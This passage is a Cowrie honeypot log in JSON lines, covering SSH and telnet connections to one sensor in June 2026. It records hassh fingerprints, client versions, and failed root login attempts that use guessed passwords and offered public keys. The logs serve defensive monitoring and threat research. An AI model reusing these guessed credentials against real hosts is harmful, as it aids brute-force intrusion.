openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T09:56:36.130273Z","src_ip":"103.27.238.120","session":"052e88b2f8ba","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"rew123","message":"login attempt [root/rew123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T09:56:36.926883Z","src_ip":"103.27.238.120","session":"052e88b2f8ba","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T09:56:38.193374Z","src_ip":"103.27.238.120","session":"052e88b2f8ba","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.548792839050293,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T09:56:49.279891Z","src_ip":"107.6.151.170","session":"6d0af779f44b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"172.81.62.90","src_port":60728,"dst_ip":"159.203.135.109","dst_port":23,"session":"70b2fb5784df","protocol":"telnet","message":"New connection: 172.81.62.90:60728 (159.203.135.109:23) [session: 70b2fb5784df]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T09:57:06.265070Z"}
{"eventid":"cowrie.session.closed","duration":120.00175309181213,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T09:57:10.977078Z","src_ip":"128.199.8.54","session":"5cb4aa172b95","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"27.71.230.31","src_port":38612,"dst_ip":"159.203.135.109","dst_port":22,"session":"b0e3a31b0005","protocol":"ssh","message":"New connection: 27.71.230.31:38612 (159.203.135.109:22) [session: b0e3a31b0005]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T09:57:17.980043Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T09:57:18.007897Z","src_ip":"27.71.230.31","session":"b0e3a31b0005","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":55898,"dst_ip":"159.203.135.109","dst_port":23,"session":"aa8a854058b2","protocol":"telnet","message":"New connection: 128.199.8.54:55898 (159.203.135.109:23) [session: aa8a854058b2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T09:57:18.534079Z"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T09:57:20.188180Z","src_ip":"27.71.230.31","session":"b0e3a31b0005","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Password2017","message":"login attempt [root/Password2017] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T09:57:23.866074Z","src_ip":"27.71.230.31","session":"b0e3a31b0005","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"7.9","message":"Connection lost after 7.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T09:57:25.867684Z","src_ip":"27.71.230.31","session":"b0e3a31b0005","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"102.37.220.188","src_port":55328,"dst_ip":"159.203.135.109","dst_port":23,"session":"258cda4f837d","protocol":"telnet","message":"New connection: 102.37.220.188:55328 (159.203.135.109:23) [session: 258cda4f837d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T09:57:26.782350Z"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":36680,"dst_ip":"159.203.135.109","dst_port":23,"session":"4d18732bb884","protocol":"telnet","message":"New connection: 128.199.8.54:36680 (159.203.135.109:23) [session: 4d18732bb884]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T09:57:33.911358Z"}
{"eventid":"cowrie.session.connect","src_ip":"172.81.62.90","src_port":42286,"dst_ip":"159.203.135.109","dst_port":23,"session":"d1d2f9c94e02","protocol":"telnet","message":"New connection: 172.81.62.90:42286 (159.203.135.109:23) [session: d1d2f9c94e02]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T09:57:34.331837Z"}
{"eventid":"cowrie.session.closed","duration":43.387210845947266,"message":"Connection lost after 43 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T09:57:49.652131Z","src_ip":"172.81.62.90","session":"70b2fb5784df","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.73777723312378,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T09:57:57.520024Z","src_ip":"102.37.220.188","session":"258cda4f837d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.250.105.222","src_port":53784,"dst_ip":"159.203.135.109","dst_port":22,"session":"454ca70a5e01","protocol":"ssh","message":"New connection: 51.250.105.222:53784 (159.203.135.109:22) [session: 454ca70a5e01]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T09:58:01.471318Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T09:58:01.476030Z","src_ip":"51.250.105.222","session":"454ca70a5e01","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T09:58:01.605466Z","src_ip":"51.250.105.222","session":"454ca70a5e01","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"checking!@!@%","message":"login attempt [root/checking!@!@%] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T09:58:01.996593Z","src_ip":"51.250.105.222","session":"454ca70a5e01","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T09:58:03.128397Z","src_ip":"51.250.105.222","session":"454ca70a5e01","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":49.253968715667725,"message":"Connection lost after 49 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T09:58:07.787874Z","src_ip":"128.199.8.54","session":"aa8a854058b2","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.84415292739868,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T09:58:09.175882Z","src_ip":"172.81.62.90","session":"d1d2f9c94e02","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":43.39137578010559,"message":"Connection lost after 43 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T09:58:17.302613Z","src_ip":"128.199.8.54","session":"4d18732bb884","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"72.17.34.38","src_port":38128,"dst_ip":"10.17.0.5","dst_port":22,"session":"effbb09646de","protocol":"ssh","message":"New connection: 72.17.34.38:38128 (10.17.0.5:22) [session: effbb09646de]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T09:58:19.746574Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T09:58:19.751148Z","src_ip":"72.17.34.38","session":"effbb09646de","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T09:58:19.785685Z","src_ip":"72.17.34.38","session":"effbb09646de","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"314159","message":"login attempt [root/314159] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T09:58:19.959432Z","src_ip":"72.17.34.38","session":"effbb09646de","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.2","message":"Connection lost after 1.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T09:58:20.996688Z","src_ip":"72.17.34.38","session":"effbb09646de","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"172.81.62.90","src_port":36686,"dst_ip":"159.203.135.109","dst_port":23,"session":"4c416075278a","protocol":"telnet","message":"New connection: 172.81.62.90:36686 (159.203.135.109:23) [session: 4c416075278a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T09:58:42.095640Z"}
{"eventid":"cowrie.session.connect","src_ip":"107.181.228.82","src_port":54852,"dst_ip":"10.17.0.5","dst_port":22,"session":"81962800d1d0","protocol":"ssh","message":"New connection: 107.181.228.82:54852 (10.17.0.5:22) [session: 81962800d1d0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T09:58:52.439276Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T09:58:52.442351Z","src_ip":"107.181.228.82","session":"81962800d1d0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T09:58:52.501276Z","src_ip":"107.181.228.82","session":"81962800d1d0","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"8a:a8:77:24:78:4b:d9:2c:1e:be:a3:68:27:ec:56:a2","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEA38YRHIi+L+iXgXD/BzJYj9dpZ8HraTByjTcUlwag2SzY92oW/wULl8h/AhFN9IWlOtvw0/XVu4t6C6RG0D2NMmJKl+aUKNvl1uMCCg+hl09zegXDOK/tVdZm+y2EX7lFAMR917NIrlAtyN63f1uHLdfkgjz5h5eiHWGyGTjg804NS7F6mCtp+8ipabMh+y3H2sBKaRu4MOoJsM19n2v+AJD3POPftqSdolwSy/NjNkRGDzaKEZCc16oxuxUxbc2pxKGFtWI0zuxLehIcaJHYjhVD/sXa1RJeMJPpY0RF98EWiFCtCJdFRYgrR60yq6akQ0+gJyY7YaqAgu6YEvJblw==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 8a:a8:77:24:78:4b:d9:2c:1e:be:a3:68:27:ec:56:a2","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T09:58:52.784072Z","src_ip":"107.181.228.82","session":"81962800d1d0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"8a:a8:77:24:78:4b:d9:2c:1e:be:a3:68:27:ec:56:a2","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEA38YRHIi+L+iXgXD/BzJYj9dpZ8HraTByjTcUlwag2SzY92oW/wULl8h/AhFN9IWlOtvw0/XVu4t6C6RG0D2NMmJKl+aUKNvl1uMCCg+hl09zegXDOK/tVdZm+y2EX7lFAMR917NIrlAtyN63f1uHLdfkgjz5h5eiHWGyGTjg804NS7F6mCtp+8ipabMh+y3H2sBKaRu4MOoJsM19n2v+AJD3POPftqSdolwSy/NjNkRGDzaKEZCc16oxuxUxbc2pxKGFtWI0zuxLehIcaJHYjhVD/sXa1RJeMJPpY0RF98EWiFCtCJdFRYgrR60yq6akQ0+gJyY7YaqAgu6YEvJblw==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T09:58:52.787101Z","src_ip":"107.181.228.82","session":"81962800d1d0","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"71:72:bf:be:7e:33:a1:b6:82:6f:dc:14:58:8c:ac:b1","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQD24lbpiJecoWdgXnaN/KOc8q8Htt6UVcxrwb9KqFrEk1MSBYC04UD31eJBwQgLBABKd44Yj4xc3Xf1E6nRP7b9rfs/3wc3wmc80nXzSxv6P+Ib9hi3pfmfFwVuIajEnl44zJ4Yz7ZCRYYQWv/1NZqufGgBTrzy8mdKb5Q92Akl2CVymwOTfM41NPxzwxe8W/EgI25XCPf9n83DhqqLw3qsdZqnF4RmfzIpPihPlOVzreFPIfog8rfZi0BID0r8uU82GvT3nQW5U/S+01I+WIwE0VLjKapgogfS/mR9DMaT5w5CFaWY5nfnWsJX3UxyXUUKnpDBX6BTPbHZFIRkRJRt","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 71:72:bf:be:7e:33:a1:b6:82:6f:dc:14:58:8c:ac:b1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T09:58:52.848136Z","src_ip":"107.181.228.82","session":"81962800d1d0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"71:72:bf:be:7e:33:a1:b6:82:6f:dc:14:58:8c:ac:b1","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQD24lbpiJecoWdgXnaN/KOc8q8Htt6UVcxrwb9KqFrEk1MSBYC04UD31eJBwQgLBABKd44Yj4xc3Xf1E6nRP7b9rfs/3wc3wmc80nXzSxv6P+Ib9hi3pfmfFwVuIajEnl44zJ4Yz7ZCRYYQWv/1NZqufGgBTrzy8mdKb5Q92Akl2CVymwOTfM41NPxzwxe8W/EgI25XCPf9n83DhqqLw3qsdZqnF4RmfzIpPihPlOVzreFPIfog8rfZi0BID0r8uU82GvT3nQW5U/S+01I+WIwE0VLjKapgogfS/mR9DMaT5w5CFaWY5nfnWsJX3UxyXUUKnpDBX6BTPbHZFIRkRJRt","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T09:58:52.851239Z","src_ip":"107.181.228.82","session":"81962800d1d0","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"ea:b1:c0:65:02:0a:96:ac:fb:51:9e:59:ca:2b:73:99","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEA1at8GcO3zooveiuvE0XOD4McVBFLC6gFTbEDhvbZENVixe+NryoYGmsG1BscUXghXgBGy5jpb1mfkVE6PY3JCzZzZ+xOO5o+XtR6XLry8lrvtd/UrHRBYwY/DD86+yukHnFR3/2YihjjokCQENVffJUwKoFYeCsiOU4uXdKLtXKFRuTpXuCruJxXFWl6QzCwyAtQo+ohxOB5zJj91I+5gEUy3RmTRBwmNqyDrp0SW0d+ANK+yvwHNOJbBFCTxGDLAFpTZdIFKPwDCc7lVKK3ZolChU19y31vqVFWq51Dw5c2S+99kiO+CYMpopUvRSoDJZkYDsNVVGG9X9/UI92c5Q==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint ea:b1:c0:65:02:0a:96:ac:fb:51:9e:59:ca:2b:73:99","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T09:58:52.915217Z","src_ip":"107.181.228.82","session":"81962800d1d0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"ea:b1:c0:65:02:0a:96:ac:fb:51:9e:59:ca:2b:73:99","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEA1at8GcO3zooveiuvE0XOD4McVBFLC6gFTbEDhvbZENVixe+NryoYGmsG1BscUXghXgBGy5jpb1mfkVE6PY3JCzZzZ+xOO5o+XtR6XLry8lrvtd/UrHRBYwY/DD86+yukHnFR3/2YihjjokCQENVffJUwKoFYeCsiOU4uXdKLtXKFRuTpXuCruJxXFWl6QzCwyAtQo+ohxOB5zJj91I+5gEUy3RmTRBwmNqyDrp0SW0d+ANK+yvwHNOJbBFCTxGDLAFpTZdIFKPwDCc7lVKK3ZolChU19y31vqVFWq51Dw5c2S+99kiO+CYMpopUvRSoDJZkYDsNVVGG9X9/UI92c5Q==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T09:58:52.918461Z","src_ip":"107.181.228.82","session":"81962800d1d0","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"9b:53:2e:0f:d7:35:5a:4c:db:81:64:e2:69:41:c7:e6","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCUZS2Hl9Zl7fdrarQxkTfJDTFoHfxlRuPExJW9myBO+ZZTv+ifMTOP7zno6Qr0xUT+m2E8Zj7bxJ38OK2LEmGn2sbqZEAeHS+cjogksHfdCP4zmRkTetigOZZPpf5jIGAdYeeePyHrxjHLvtkc0rXRg/rCMsClCWqJu7/9IK/MyB/ZfYhTKqXtv4l0uDN50BWlsvE4tUflJ3Y8r3nckIUi4/pYa+Hy/eOFr7BSWc9XYZiBMgDaGXAHEabcDx4EyqqOE97buAhmbEVBkF4RmECvzsRa2DyTXkiXV5UsU0irrkZ98pFMnxke5w+oDyCeEgIpmUT22gou0Auqa6mrsUR7","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 9b:53:2e:0f:d7:35:5a:4c:db:81:64:e2:69:41:c7:e6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T09:58:52.979406Z","src_ip":"107.181.228.82","session":"81962800d1d0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"9b:53:2e:0f:d7:35:5a:4c:db:81:64:e2:69:41:c7:e6","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCUZS2Hl9Zl7fdrarQxkTfJDTFoHfxlRuPExJW9myBO+ZZTv+ifMTOP7zno6Qr0xUT+m2E8Zj7bxJ38OK2LEmGn2sbqZEAeHS+cjogksHfdCP4zmRkTetigOZZPpf5jIGAdYeeePyHrxjHLvtkc0rXRg/rCMsClCWqJu7/9IK/MyB/ZfYhTKqXtv4l0uDN50BWlsvE4tUflJ3Y8r3nckIUi4/pYa+Hy/eOFr7BSWc9XYZiBMgDaGXAHEabcDx4EyqqOE97buAhmbEVBkF4RmECvzsRa2DyTXkiXV5UsU0irrkZ98pFMnxke5w+oDyCeEgIpmUT22gou0Auqa6mrsUR7","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T09:58:52.982683Z","src_ip":"107.181.228.82","session":"81962800d1d0","protocol":"ssh"}
